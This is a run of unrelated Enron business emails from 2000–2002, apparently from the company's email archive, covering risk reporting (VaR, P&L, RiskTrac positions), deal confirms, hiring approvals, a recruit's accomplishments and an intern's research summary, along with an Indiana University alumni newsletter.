Physical deals modeled in the Caminus Zainet system are deals which have some form of price risk, (i.e. Index to index deals, and anticipated fuel sales) This does not include standard transport or storage agreements.

P&L  Daily:   Daily change in the  mark-to-market (MTM) valuation of all deals being tracked in the Caminus Zainet system.  This includes the origination and changes in value for both the physical and financial sides of hedges, along with any speculative trades and floating unhedged physical positions.

VaR is "Value at Risk":  Enron Corp policy defines this as the maximum expected one day loss on the portfolio given a 95% statistical confidence interval.  This number is currently calculated on the Caminus system using a variance covariance methodology, rather than a Monte Carlo simulation per the Enron Corp policy.

More detailed reports are available from the Caminus Zainet risk management system.  Please call Vince Strohmeyer at 713.853.6701 with any questions you may have.

Okay, so I didn't know what a "DRIP" is, but now that I do, I'm sending this 
to you.
---------------------- Forwarded by Steven J Kean/HOU/EES on 02/20/2000 06:22 

"msmmac" <msmmac@gateway.net> on 02/16/2000 10:09:52 PM
Please respond to "msmmac" <msmmac@gateway.net>
To: <skean@enron.com>
cc:  
Subject: 

Would you please forward a copy of you DRIP to 
?
Professor Kent Baker
The American University
Kogod School of Business
4400 Massachusetts Avenue, NW
Washington, DC 20016-8044
?
Thanks

Here's the list of deals and accomplishments for Mark...

Molly

From:  Vasut, Tony  
Sent: Tuesday, March 13, 2001 9:59 AM
To: Magee, Molly
Subject: FW: Mark Boland - deal examples and accomplishments

From:  Port, David  
Sent: Monday, March  12, 2001 10:47 AM
To: Vasut, Tony

From:  Mark.Boland@seb.se@ENRON 
[mailto:IMCEANOTES-Mark+2EBoland+40seb+2Ese+40ENRON@ENRON.com] 
Sent: Monday, March 12, 2001 8:05 AM
To: Port, David
Subject: FW:  Mark Boland - deal examples and accomplishments

> From:  Boland, Mark
> Sent: Tuesday, January 23, 2001 15:26
> To: 'david.port@enron.com'
> Subject:  Mark Boland
>
> David,
>
> I'll attach below a short outline which I have recently put together to
> summarize what I've been up to.
> Also, I've attached a couple of termsheets (we had very few in English) to
> give you a sample of my
> production. More is available if need be.  I've put together around 200
> various deals in the last 3 years.
> I believe you already have my resume from Mark, but I'll be glad to send
> another copy.
>
> I'll be tracking you down on the phone in the near future.
> Regards,
> Mark
>
>
>  <<Broschyr 204 Engelska NY.pdf>>  <<broschyr p+ engelska.doc>>
>
> Outline:
> 1) Structuring
>  A) Provided coordination of all parts and entities in closing
> Structured Bond deals. I.E.: coordination of
>  Swap. option, bond issuer, back offices, documentation, middle
> office, sales, traders (swap desk and
>  multiple counterparties), research, credit limits, legal, etc.
>  B) Did all of the above in A) in a profitable and successful manner,
> while evolving the product
>  and processes at SEB. This was accomplished both individually and as
> part of a team.
> 2) Idea Generation
>  A) Constantly provided group with new ideas to consider, every week.
> Provided written
>  and/or verbal explanation and additional information and coaching
>  B) Have brought forth new ideas which we have used and made profits
> from
> 3) Option Trading
>  A) Represent my department and SEB to world's leading Investment
> Banks and derivatives
>  traders on some of the most complex financial transactions carried
> out in today's Market
>  B) Successfully trade the product while maintaining huge profits,
> and not making errors
>  which cost the bank money
>  C) Providing clients with a superior investment product
>  D) Creating enormous profits from arbitrage trading on my own
> abilities,
> 4) Systems
>  A) Constructed valuation model for use by back, middle office, and
> risk control, and ultimately
>  clients receive the results of this, received positive feedback from
> users
>  B) Part of team to negotiate and choose new equity derivatives
> systems
> 5) Training other members of the Structured department
>  A) Product knowledge
>  B) Market knowledge
>  C) System use
>  D) All aspects of structuring to Stockholm and international Sales
> Team
>  E) Have successfully played role of "information booth" and "course
> instructor" for
>  members of the department and bank wide
>
>
>
> Mark M. Boland
> SEB Merchant Banking
> 10640 Stockholm, Sweden
>
> Telephone +46 8 5062 3224
> Cell            +46 70 772 3224
>
> This e-mail is from SEB, Skandinaviska Enskilda Banken. It may contain
> privileged and confidential information and is intended for the named
> recipient(s) only. If you are not an intended recipient, please notify us
> immediately by reply e-mail, delete this e-mail from your system and
> destroy any copy hereof.
> 
 - Broschyr 204 Engelska NY.pdf
 - broschyr p+ engelska.doc

Ben,

I will try to be on at least part of the phone call on Thursday, technology 
permitting.  

Kay

see attached
----- Forwarded by Sara Shackleton/HOU/ECT on 09/22/2000 06:52 PM -----

	09/22/2000 06:50 PM
		 
		 To: Greg Johnston/CAL/ECT, Brian Kerrigan/HOU/ECT, Cris Sherman/HOU/ECT, 
Tana Jones/HOU/ECT, bordenr@macleoddixon.com
		 cc: 
		 Subject: Alberta prepay - confirms

Attached are revised commodity swap confirms.  I didn't change the rate swap 
and we're still waiting for input from the bank.

Notice #02-79
March 18, 2002

International Energy Reception

On Monday, May 6, 2002, the New York Mercantile Exchange will sponsor the
International Energy Reception on the Energy trading floor of the Exchange,
One North End Avenue.  The reception will be from 6:00 P.M. to 8:00 P.M.

Exchange members can receive two complimentary tickets for the reception.
Member firms, through their conferring members, can receive ten tickets.
There will be a charge of $50 for additional guests.

Anyone requesting tickets, should complete the form below and fax to
212-301-4623.

May 6, 2002

Name:________________________________________

Company:_____________________________________

Address:______________________________________

Telephone No.:_________________________________		Badge#_________

Sounds great - I'll come to your office.

From: Geaccone, Tracy 
Sent: Wednesday, November 28, 2001 7:33 AM
To: Taylor, Sarah
Subject: Re: TW information

9:30 ok?

The report named: East VaR Estimate <http://trv.corp.enron.com/linkFromExcel.asp?report_cd=27&report_name=East+VaR+Estimate&category_cd=1&category_name=EAST&toc_hide=1&sTV1=1&TV1Exp=Y&current_efct_date=10/18/2001>, published as of 10/18/2001 is now available for viewing on the website.

when is the meeting and where?

thanks,

Kim

	  From:  Patti Sullivan                           04/03/2001 12:02 PM	
		
To:	Isabel Y Resendez/HOU/ECT@ECT, Elizabeth L Hernandez/HOU/ECT@ECT, Marlo C James/HOU/ECT@ECT, Bryce Baxter/HOU/ECT@ECT, Rita Wynne/HOU/ECT@ECT, Kim Ward/HOU/ECT@ECT, Lisa Valderrama/HOU/ECT@ECT, Janine Cashin/NA/Enron@Enron
cc:	 
Subject:	City of Pasadena invoicing

I have set up a meeting to discuss invoicing for City of Pasadena for February production going forward. Tori Kuykendall is no longer
involved in that deal and will no longer be invoicing. Kim Ward will explain the structure of the deal to all of us and it is my goal that
the traders will not be involved in creating invoices. Let me know if you will be unable to attend. Thanks. 

 - 11-19 1000 Report.xls 

Per our discussion, I added the sentence to the beginning of Section 5A.  
Please review

Rick --

Some thoughts and actions from Govt Affairs.

1. On pg 2 of the Presentation, you state an equation:

Commodity Transactions + Bundled Transactions + Upsell = Total Savings.

Isn't it better to define the result as "Total Value Created" rather than 
Total Savings.  Then you can split the value between "EES Profit" and 
"Customer Savings"?

EES is creating value by (a) commodity management and (b) DSM.  They are then 
responsible for finding the balance in negotiations with the customer between 
themselves (profit) and the customer (savings).  This definition more closely 
works with the numerical findings on page 9.  

The discussion on page 11 is also confusing.   What are "EES Projected 
Savings"?  Don't you mean EES Projected Earnings?

Just a thought.  Not critical to my section.

2. Page 8 identifies $14.7 MM as the "Worst Case Stress Test" for the 39.6 
Twh of Regulated Commodity.  Govt Affairs is doing an analysis on this to 
make sure that we are comfortable with the results.  There are two problems:  
(1) a 5% parallel shift in Regulated Commodity curves is probably not the 
"Worst Case" and (2) the data from EES is difficult to obtain.

We think that a better measure would be to find the potential loss if 
regulated rates continue to grow at their historic growth factor = 1985 - 
1995 was .7% a year.   The problem is that it is difficult to compute because 
the EES systems don't give us a nice and easy structure to evaluate.  John 
Nesalge is working on this number.  

3. Page 9 identifies the Regulatory Risk Capital as $9.5MM for the Top 5 
Commodity deals.  We are checking on this.  It has been hard to compute.  
Same problems as #2.   I would say that $9.5MM is at least the overall 
Regulatory Risk Capital.  John Neslage is working on this number.

4. Page 8 uses the terms "Wholesale" and "Regulated".  Page 4 uses the terms 
"Wholesale" and "Retail".  I assume that you are thinking about the same set 
of costs / services?  If I am correct, I would change the term on page 4 to 
"Regulated Price Reduction" or otherwise explain the difference / similarity.

5. We are working on identifying the value at risk for the PG&E position 
(California CTC roll-off).  There is also a growing Regulatory Risk on 
Illinois CTC roll-off = EES is assuming that the CTC ends in Illinois one 
year earlier than the current law allows.  We may also try to calculate this 
figure.  My understanding is that these numbers will not be incorporated into 
the presentation but will be provided to Rick Buy as FYI.  Is that correct?  
John Neslage is working on these numbers.

6. Conclusion page 13.

Point #4 dealing with Regulatory Risk.

Can we change the presentation to state the following:

FINDINGS

EES' Regulated Rate forecasts do not document legal, political, and 
regulatory assumptions.  Enron Government Affairs has not uniformly validated 
key Regulated Rate forecast assumptions.  Very limited ability to hedge 
Regulated Rate risk.

EXPOSURE

We are working on trying to quantify.  Should say "Rate Growth at Historic 
85-95 Levels = $XX MM".

RECOMMENDATIONS

EES should document all legal, political, and regulatory assumptions embedded 
within Regulated Rate forecasts.  Enron Government Affairs should provide 
regular input into forecasting process to ensure Regulated Rate forecasts 
incorporate all relevant information.  Enron Government Affairs should 
perform monthly curve review process on critical rate forecasts.  

Finally, I hope that John Neslage will have these figures by end of business 
Tuesday.  Does this work?  Please call either John or Harry to coordinate.  I 
am leaving for South America today.

JDS

---------------------- Forwarded by James D Steffes/HOU/EES on 04/09/2000 
10:41 AM ---------------------------
From: Rick L Carson@ECT on 04/06/2000 05:57 PM
cc: Don Rollins/HOU/ECT@ECT, James L Copeland/HOU/ECT@ECT, Stephanie 
McGinnis/HOU/ECT@ECT, Ted Murphy/HOU/ECT@ECT, Vladimir Gorny/HOU/ECT@ECT, 
David Gorte/HOU/ECT@ECT, Karen L Barbour/HOU/ECT@ECT, Mark Ruane/HOU/ECT@ECT, 
Jeffrey A Soo/HOU/ECT@ECT, William S Bradford/HOU/ECT@ECT, Molly 
Harris/HOU/ECT@ECT, James D Steffes/HOU/EES@EES 
Subject: EES Presentation

Rick:  Attached is our latest version of the EES presentation.  All of the 
numbers are pretty complete:  we may have a sensitivity on California CTC 
roll-off from Gov't Affairs but other than that we're just double checking 
all the numbers.  EES shows a much greater projected savings (net to EES) 
than we do on the Suiza deal so we are reconciling that issue.  The only 
other major change from what you had seen previously is to move the Owens 
deal to commodity.  Karen Barbour pointed out that there is no guaranteed 
savings on the Owens deal; only a shared savings (if savings occur).

By copy of this letter, I am asking all our team members to review the latest 
version of the presentation and be prepared to meet with you when you return.

See you soon!                Rick C.

I've put you on my calendar for 10:00....if this is not good for you, please advise.   Have a good weekend....bng

Sent:	Friday, February 08, 2002 4:39 PM
Subject:	Letters of Credit

Do you have some time on Monday to discuss this project?  Thanks.  Sara

The report named: West NG Prices - Basis <http://trv.corp.enron.com/linkFromExcel.asp?report_cd=45&report_name=West+NG+Prices+-+Basis&category_cd=2&category_name=WEST&toc_hide=1&sTV1=2&TV1Exp=Y&current_efct_date=11/27/2001>, published as of 11/27/2001 is now available for viewing on the website.

Tanya,
          We have checked the RiskTrac system and
(1) The spreadoption, and other,  mappings in Risktrac are correct.  ie, 
E1S1B has both power(PPP) and gas(NBP) and the deltas/gammas tie out.  The 
LOLP and SMP mappings all tie out.
(2) However, the UK power in Risktrac has 25TWH more of Power.  This has 
something to do with the Enpower-Risktrac communication.
(3) UK-Gas positions tie out in aggregate (off by a single BcF)

For VaR discrepancies, other than positions, the following will contrbute
(1) In Risktrac power is mapped to R4 (Cinergy) while in the spreadsheet it 
is US-NG.
(2) Gas-Power and EFA-EFA correlations are different.

Matthew is coordinating with Oliver and London IT to resolve the position 
issues.

Naveen 

Tanya Tamarchenko@ECT
01/03/2001 02:09 PM
To: Naveen Andrews/Corp/Enron@ENRON, Matthew Adams/Corp/Enron@ENRON
cc: Rabi De/NA/Enron@ENRON, Jaesoo Lew/NA/Enron@ENRON, Vince J 
Kaminski/HOU/ECT@ECT 

Subject: Re: UK portfolios and books setup in RisktRac  

Naveen and Matthew,
I started looking systematically through UK positions and corresponding VAR 
numbers in the RisckRac.
I found a few inconsistencies so far.

1. The portfolio E1SB1-NBP has a book E1SB1 under it.  The sum of delta 
positions for this book is 
239,021,655, the sum of gamma positions is -211,031,450. VAR for the 
portfolio E1SB1-NBP is zero.

The same refers to a few other portfolios, for example E1SB2-NBP, E1SB3-NBP, 
E2XX1-NBP.

2. The portfolio E1SBP1-PPP also has the book E1SB1 under it. This book 
contains the positions on PPPWD1
through PPPWD6 and PPPWE1 through PPPWE4. 

The same refers to the other books, for example E1SB2.

This looks messy.  Can someone in RAC go over all the portfolios, all the 
corresponding books and curves
in RisktRac and make sure they are set up properly?

Thank you,

Tanya.

We agree with the nomination.

"Eileen Ponton" <kponton@duke-energy.com> on 03/30/2001 10:05:40 AM

cc:
Subject:  NOMS/ACTUAL FLOW FOR 3/29/01

NOM       MCF       MMBTU
24,583         24,999         25,674

BTU = 1.027

Susan:
As we discussed yesterday could you please give to me this morning the Enmax 
file as well as the files for the amendments that we talked about?  Also, 
Tana has offerred to help so please get with her to figure out what she can 
do to bring you up to date.  Maybe she can work on some of the amendments.  
Thanks.
Carol

Thanks very much for the information on the PGE trading contracts.

Outside counsel is developing a form of "matrix" that they would like us to 
complete on each of the contracts.  I expect that you will have already done 
most of the work to complete that matrix with respect to your contracts, but 
we will need your help in completing the matrix and possibly digging up some 
additional information.  I will forward the matrix to you when I receive it.

I know how busy everyone is, and really appreciate your prompt response in 
this matter.  As you know, the situation in California is critical, and 
completion of this due diligence effort is key to our ability  to respond to 
the situation.
 
This is now the new policy. Please email justification to me when hiring replacements. Consider all alternatives before automatically re-hiring and also carefully consider the level you need to hire.

As you can see any additional hires require multiple sign-offs and will require a face to face meeting with me before proceeding.

Let me know if you have any questions. 

Tks - Bob

Sent:	Thursday, October 04, 2001 3:04 PM
To:	Reeves, Leslie; Superty, Robert; Gossett, Jeffrey C.; White, Stacey W.; Wynne, Rita; Mcclure, Mark
Subject:	Filling vacancies and adding head count

After my recent budgeting experience, I think we need to tighten up our procedures around filling vacancies and adding head count.

When filling vacancies, I would like to have each of you review the positions.  I think we need to challenge ourselves and the managers
to be as conservative as possible.  I would like to sign off on all replacements.  I promise not to be difficult.

When adding personnel over your current budgeted number, besides having the commercial team sign-off on the addition, I am think
that it may have to be approved by the COO of Americas (Louise).  I am planning on meeting with her next week to discuss in detail
how to keep her in the loop in new hires resulting from business changes (asset management deals or service arrangements)

thanks

bob

Just a reminder that Leslie Hansen's baby shower will be on Wednesday, 
December 13th, from 12:00-1:00 in EB46C1.  Please let me know if you plan to 
attend so I can get an accurate count for lunch.

Thank you!

P. S.  If you would like to contribute to a group gift certificate, please 

Sheri L. Cromwell
1400 Smith Street, EB 3815
Phone:  713-853-3543
Fax:  713-646-3491
E-Mail:  Sheri.L.Cromwell@enron.com

Jeff,

I fully support Sandeep's request to move Anshuman Srivastav to Houston.
I anticipate that we shall be working on Dhabol related issues for the next 
two years
until all the business problems are successfully resolved.

Anshuman is a very capable employee, with the right combination of skills to
attack the Dhabol modeling challenge. He understands the Indian markets as 
well
as international fuel markets. He has also a very good grasp
of power industry fundamentals and of the technology used at the Dhabol power 
plant.

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 03/12/2001 
04:54 PM ---------------------------

Sandeep Kohli@ENRON_DEVELOPMENT
03/12/2001 12:40 PM
cc:  
Subject: Help on DPC LNG Options

Vince,

This is a follow-up of our meeting with Jeff Shankman on Friday, as well as 
our discussions with the Global Assets Group on DPC issues.

As you see, there is a need for developing a comprehensive fuel strategy for 
DPC that encompasses both the LNG phase, and the naphtha side.  Furthermore, 
any fuel strategy we develop will have to be in consonance with the power 
side of the business.  There is a lot of analytical work that will be 
required in this context over the next several months, and we will need a 
person who understands both the power and the fuel side of the business at 
DPC.

I believe Anshuman is just such a person.  He has worked closely with me over 
the last 2 yrs., and has been trained in the derivatives side of the business 
(he has attended all three levels of Derivatives classes offered at Enron).  
Over the last month, his presence in Houston has greatly helped me in melding 
the Henwood study with the picture on the LNG/fuel side.  I believe his 
presence in Houston will be critical to us developing a comprehensive 
fuel/LNG strategy for Dabhol, together with the Global Markets and Asset  
groups.

I am therefore requesting you to explore the possibility of Anshuman being 
moved on a more permanent basis to Houston.  As you are aware, Anshuman 
himself would welcome such an arrangement.

Regards,
Sandeep.

IU News 161101
Nov. 16, 2001

Welcome to IU News. Please feel free to pass this along to other alumni
and friends of IU.

GET WIRED TO IU:

NEW LIFE SCIENCES BUILDING DEDICATED - It was a warm, sunny day in New
Albany on Oct. 18, when IU Southeast dedicated its new Life Sciences
Building. The School of Natural Sciences and the Division of Nursing are
housed in this new facility. The building features new science and
computer labs and a controlled growth chamber. View the flashphoto
presentation that makes you a part of the program.
        http://www.homepages.indiana.edu/110901/text/iuseslides.html

QUALITY:

FIVE HONORED WITH HERMAN B WELLS VISIONARY AWARD - Indiana University and
the IU Foundation today (Nov. 16) will honor five people for their
professional accomplishments and service to humanity with the Herman B
Wells Visionary Award. The award recipients are Lawrence H. Einhorn, M.D.,
Distinguished Professor of Medicine at the IU Medical Center,
Indianapolis; Eugene B. Glick, president, Gene B. Glick Co., Indianapolis;
Judith H. Hamilton, chief executive officer and president, Classroom
Connect, San Francisco; Donald E. Marsh, chairman of the board, president
and CEO, Marsh Supermarkets, Muncie; and Darwin L. Wiekamp, executive
consultant for National City Bank, South Bend, and chairman of Cast
Products Corp., a division of Dehco Inc. The awards will be presented at a
private dinner attended by former Red Cross President Elizabeth Dole.
        http://www.iuinfo.indiana.edu/ocm/releases/HermanBAward.htm

IU HISTORIAN HONORED AS AN 'INDIANA PIONEER' - Don Carmony, professor
emeritus of history at IU Bloomington, has been named an honorary life
member of the Society of Indiana Pioneers. He is the sixth person to be
accorded honorary membership, joining such notables as Abraham Lincolns
son, Robert Todd Lincoln. Carmony's book, "Indiana 1816-1850: The Pioneer
Era" (1988), is considered by many to be the definitive study of Hoosier
pioneer history.
        http://www.homepages.indiana.edu/110901/text/carmony.html

OPPORTUNITIES:

'CONVERSATIONS ON RACE' AT IU SOUTH BEND - IU South Bend's award-winning
community/campus "Conversations on Race" is scheduled this weekend on the
South Bend campus and will feature U.S. Rep. John Lewis (D-Ga.), who once
served at the side of Martin Luther King Jr. as a civil rights activist.
Among participants will be students and faculty involved in the campus'
new Civil Rights Heritage Center.
        http://www.homepages.indiana.edu/110901/text/racev.html

WRITER JOHN UPDIKE TO SHARE HIS RECENT WORK AT IPFW - John Updike, one of
America's most lauded writers, will present the next Omnibus Lecture on
Wednesday, Nov. 28, at 7:30 p.m. in the Walb Student Union Ballroom at
IPFW. The winner of two Pulitzer prizes, Updike is the author of the
celebrated "Rabbit" series as well as the highly popular book, "The
Witches of Eastwick," which was adapted into a film starring Jack
Nicholson and Cher.
        http://www.ipfw.edu/omnibus/updike.htm

ALUMNI:

IPFW 'DONS CELEBRATE FIRST HOMECOMING WEEK - The tradition of homecoming
is beginning this week at IPFW. Many of the events, which will include a
bonfire, center around IPFW's NCAA Division I men's basketball debut
tonight (Nov. 16) against Morehead State University. Read about how IPFW
hopes to build upon the spirit of this week's events in an article in the
Fort Wayne News-Sentinel.
        http://web.news-sentinel.com/content/fwnews/2001/11/15/metro/a15r_homecoming_pg1a.htm

TECHNOLOGY:

IU'S NEW SUPERCOMPUTER IS ONE OF THE WORLD'S 50 MOST POWERFUL - IU's new
supercomputer, recently acquired through a partnership with IBM, is ranked
50th on the updated list of the world's 500 most powerful supercomputers.
The IU supercomputer, which can perform 1 trillion numerical calculations
per second and will serve as the backbone for planned research in genomics
and other disciplines, is the largest and fastest U.S. university-owned
computer in this ranking.
        http://www.top500.org/list/2001/11/

SUPERCOMPUTING PUBLICATION FEATURES INDIANA'S EFFORTS - Craig Stewart, IU
director of research and academic computing, is interviewed in this issue
of Supercomputing Online. He and Purdue's associate vice president of
information technology, Jerry Sheehan, discuss high performance computing
in Indiana and a new initiative supported by the state to foster
scientific collaboration between its research institutions via a
high-speed fiber connection.
        http://www.supercomputingonline.com/article.php?sid=1041

ATHLETICS:

MEN'S SOCCER TEAM TAKES NINTH BIG TEN CROWN - With a scoreless tie at the
end of the first half, Hoosier fans were a little worried about just how
many minutes of soccer were going to be played to determine a Big Ten
champion last Sunday (Nov. 11) in Madison. With 32:02 remaining in the
game, the Indiana men's soccer team put all fears to rest, scoring the
game-winner against Michigan State. The Hoosiers won their ninth
conference championship 2-0 over the Spartans. They now look ahead to the
NCAA tourney and seek a sixth national championship.
        http://www.indiana.edu/~athlweb/graphic/sports/m-soccer.html

INSIDE THE BROADCAST BOOTH - What's involved in the radio broadcast of an
IU football game? This month's IU Alumni Magazine takes you inside the
numbers on what it's like for Buck Suhr, Don Fischer and Joe Smith to
bring IU football to alumni, students and other loyal fans.
        http://www.indiana.edu/~alumni/magtalk/nov-dec01/broadcast.html

RESOURCES:
IU CULTURAL CALENDAR -
http://www.iuinfo.indiana.edu/ocm/features/Culcal.htm
ADMISSIONS - http://www.indiana.edu/admissions/
INDIANA BASKETBALL SHOW -
http://www.indiana.edu/~athlweb/graphic/broadcast.html#IndianaBasketballShow
IU FOOTBALL - http://www.indiana.edu/~athlweb/graphic/sports/football.html
IUPUI SPORTS - http://www.iupui.edu/~jagsport/

CAMPUS WEB SITES:
IU BLOOMINGTON - http://www.iub.edu/
IUPUI - http://www.iupui.edu/
IU EAST - http://www.iue.indiana.edu/
IPFW - http://www.ipfw.edu/
IU KOKOMO - http://www.iuk.edu/
IU NORTHWEST - http://www.iun.edu/
IU SOUTH BEND - http://www.iusb.edu/
IU SOUTHEAST - http://www.ius.edu/

Prepared By:
Office of Communications and Marketing
INDIANA UNIVERSITY
Quality Education. Lifetime Opportunities.

IMPORTANT NOTE: This newsletter contains some long URLs that may not show
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You may unsubscribe from the IU News list at anytime
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with the words
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and nothing else as the text of the message.

FYI, Kim.

Sent:	Friday, October 12, 2001 3:01 PM
To:	Fossum, Drew; Fritch, Bret; Harris, Steven; Kilmer III, Robert; Lokey, Teb; McCarty, Danny; Miller, Mary Kay; Petersen, Keith; Porter, Gregory J.; Veatch, Stephen; Watson, Kimberly
Subject:	CA Capacity Report

Attached is an updated Interstate Pipeline Capacity to California report with changes and additions highlighted

John Suarez will be doing this deal tomorrow (1/9/02).  His extension is 3-5267.

Vince, both Matt and April think that this type of research would be 
value-additive to EBS.  I will be out all next week in a meeting with John 
Griebling and other on a deal that is being worked out.  I understand that 
you are following up with HR on all of our summer intern offers. Please make 
sure Palo is given an offer and that he will work with April and Matt (he did 
talk to Matt) on the topics that April and I suggested.

Regards,

Ravi.
----- Forwarded by Ravi Thuraisingham/Enron Communications on 02/20/00 12:41 
AM -----

	Matt Harris
	02/17/00 08:08 PM
		
		 To: Ravi Thuraisingham/Enron Communications@Enron Communications
		 cc: April Hodgson/Enron Communications@Enron Communications
		 Subject: Re: Summer Intern: Paulo Oliveira

Looks interesting.

I would guess that there is a TON of research available (from @Home, AOL, 
Roadrunner, Real, Microsoft, etc.) on Broadband's impact on the strategic 
value of web properties.  Compiling this would be very helpful.

MH

	Ravi Thuraisingham
	02/17/00 12:15 PM
		 
		 To: April Hodgson/Enron Communications@Enron Communications, Matt 
Harris/Enron Communications@Enron Communications
		 cc: 
		 Subject: Summer Intern: Paulo Oliveira

Hi April & Matt, here is additional information on the summer intern that 
I've mentioned.

Matt, I know you know nothing about this! My discussion with April on the 
possible research topic let me (& April) to believe that you would provide 
great input on what the student can work on while he is here.  

Regards,

Ravi.
EBS Research
----- Forwarded by Ravi Thuraisingham/Enron Communications on 02/17/00 02:09 
PM -----

	02/17/00 11:23 AM
		 
		 To: Vince J Kaminski/HOU/ECT@ECT
		 cc: Ravi Thuraisingham/Enron Communications@Enron Communications, Thomas D 
Gros/HOU/ECT@ECT

Vince:  Here is the information that I have on Paulo.    He would be slated 
to work for the summer with April Hodgeson and Matt Harris on how streaming 
media products may add value to advertising or some related area.    
Actually, he would also be a good fit for helping to think ways to analyze 
our Enron On-line data.    I have asked if he can send a resume.   In the 
mean time, most of his relevant information is attached below.

--Stinson

---------------------- Forwarded by Stinson Gibner/HOU/ECT on 02/17/2000 

Paulo Rocha e Oliveira <paulo@MIT.EDU> on 02/10/2000 12:04:56 PM
To: "Stinson Gibner" <Stinson.Gibner@enron.com>
cc:  
Subject: Re: Trip to Houston

Stinson,

Thank you for your e-mail.  My phone number is (617) 492-9551.  

I graduated from Princeton University in 1996 (mathematics), and came 
straight to MIT for a
Ph.D. in Operations Management at the Sloan Schoolof Management.  In my first
three years I took all the required coursework in mathematics,
optimization, stochastic processes, etc., as well as a number of courses in
psychology (at MIT and Harvard).  I am working with Prof. Gabriel Bitran,
and I am interested in the mathematical modeling of service operations.  In
particular, I am interested in the interaction between customers and
companies (hence the interest in psychology).  The (tentative) title of my
PhD thesis is "Pricing Substitute Products on the Internet", and I am
sending you the summary which I sent to Tom Gros a few weeks ago that will
give you an idea of what this research is about.

Thanks again, and I'm looking forward to meeting you and your research
group next week.

Paulo

Pricing Substitute Products on the Internet

Objective:

To develop new tools to decide pricing policies for goods and services sold
on
the internet.

Motivation:

This research is motivated by the fact that traditional choice and 
optimization
models are not appropriate for internet-related businesses.  The technological
innovations associated with the internet brought about an overload of
which inevitably affects the ways in which consumers make choices.
Furthermore,
companies have a great deal of influence on how much information consumers can
have access to.

The problem of pricing substitute products is an important strategic issue
faced
by internet companies.  Consumers usually search for generic products (e.g.
VCRs
or computers) without knowing exactly what they will buy.  Companies can show
different products and different prices to each consumer.  This type of
flexibility
was not available until the internet came about.

The problem of pricing substitute products is not unique to the internet.  The
methodology developed by this research should be transferable to a number of
other settings, such as pricing services.  Services are unique, and there are
many cases where customers will only buy one of many services offered by a
given company.  Our model will help companies decide which services to offer
to which customers and how much to charge for these services.

Research Strategy:

Our research strategy is to divide the pricing problem into two components
which can be combined to generate optimal pricing strategies.  These
components are choice models and optimization models.

Choice Models:

Choice models describe how customers make choices.  The management literature
draws on two main sources for these models: psychology and economics.  The
common approach in psychology models is to use what are called heuristic
elimination methods.  These methods consist of the elimination of options
based on the sequential elimination of features until only one choice
remains.
These methods tend to be very context-specific and do not lend themselves very
easily to mathematical analysis.  Economists focus on utility-maximing models
that are significantly more mathematically tractable than psychological
models.
The most common economic model of choice is the logit model.  The problem with
these types of models is that they are not very accurate reflections of how
consumer make choices on the internet.  The first step in our research will
be
to develop choice models that capture the interactions going on between
customers
and companies on the internet.

Optimization:

Traditionally, the optimization problem consists of maximizing revenue over a
certain planning horizon.  On the internet, the problem of maximizing revenue
still exists, but there is also a need to learn about customers.  Short term
profit is based on sales, but long term profit is based on how well you know
your customers and are able to retain them.  The optimization problem must
therefore include a short term component (sales) and a long term component
(learning).

	[IMAGE]		
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---------------------- Forwarded by Jeff Nogid/HOU/ECT on 08/18/2000 11:26 AM 

michael.c.ladas@db.com on 07/21/2000 03:56:22 PM
To: jeff.nogid@enron.com
cc: kenichi.shoji@db.com 
Subject: Issuer Forward Transactions

Jeff - per our conversation today, I have attached a basic equity forward
confirm (note that this is our generic form and will be modified to suit
the contract that we enter into) .  I have also attached a document
discussing a proprietary way that we have developed to enter into tax
deductible forwards.  I look forward to working with you further with
regard to this transaction

Mike Ladas
Vice President
Strategic Equity Transactions Group
p:212.469.8572 / f.212.469.4935

(See attached file: Tax Deductible Forward.doc)(See attached file: Issuer
Forward - quarterly resets - ENE.doc)

 - Tax Deductible Forward.doc
 - Issuer Forward - quarterly resets - ENE.doc

Jeff:
To explain the P&L of -349,000  : 
We executed the trade when you gave the order (the delta anyway), first thing 
in the morning.  The market rallied 8 cents from the morning, with the back 
rallying about 2.5 cents.  On 904 PV contracts, curve shift was -226,000.  
The balance, $123,000,  is almost exactly $.01 bid/mid, which I think is 
pretty fair considering the tenor of the deal and that it included price and 
vol.  Cal 3 straddles, for instance, are $1.39 / $1.45.

Looking out for you bubbeh:
John

Liz
	
Agreed that all parties would review the proposed framework with traders to try to "fill in the boxes". It was however recognised that there were difficulties in interpreting what was intended by the proposed RTO's and the relationship with the current Into Cinergy market.
	
AEP viewed that purchase of transmission was the critical area, who had to purchase what and several scenarios to work through. Whether Seller buys a wheel, whether buyer buys a wheel, or under MISO both parties buy a  wheel. This clearly has knock on effect for obligations in respect of firm and non-firm transmission and curtailment. In particular, what if non-firm is elected and how this flows through into obligations of the parties to a transaction.
	
Perception that the framework prepared by AEP will start all interested parties in the same place to talk about the issues. 
	
It was agreed to try to get a representative from Duke to join the next call as they were an Into Cinergy product trader as well.
	
The next call was scheduled for November 29th at 10 o clock Eastern time. It was suggested that everyone at least take first page of Mitch's schedule and talk to the traders, since this would probably the best starting point, Mitch encouraged any comments to be shared earlier if possible.
	
Signed you up for this call in your absence.
	
Marcus

Sent:	Monday, November 19, 2001 3:59 PM
To:	Nettelton, Marcus
Subject:	FW: Conference Call re: Transition of Into Product to MISO

From: 	djstephens@aep.com@ENRON  
Sent:	Monday, November 19, 2001 1:18 PM
To:	NTillett@reliant.com; drusso@reliantenergy.com; david.perlman@powersrc.com; Sager, Elizabeth; fmdutton@aep.com; nicole.daggs@mirant.com; ntrask@pwrteam.com; ecomer@aep.com; jcrespo@hess.com
Subject:	Conference Call re: Transition of Into Product to MISO

Attached please find a copy of the memo from F. Mitchell Dutton regarding
Into Product Definition and Formation of Regional Transmission Organization
for the 5:00 p.m. (EST) Conference call today.  Please contact Mitch Dutton
at (614) 223-1605 or myself at (614) 324-6843 if you have any questions or
comments.

(See attached file: 87712.DOC)

Thank you,

DJ Stephens

------------------------------------------------------------------------------------------------

This e-mail message from the Legal Department of American Electric
Power is for the sole use of the intended recipient(s) and may contain
confidential and privileged information.  Any unauthorized review, use,
disclosure or distribution is prohibited.  If you are not the intended
recipient, please contact the sender by reply e-mail and destroy all
copies of the original message.
 - 87712.DOC << File: 87712.DOC >> 

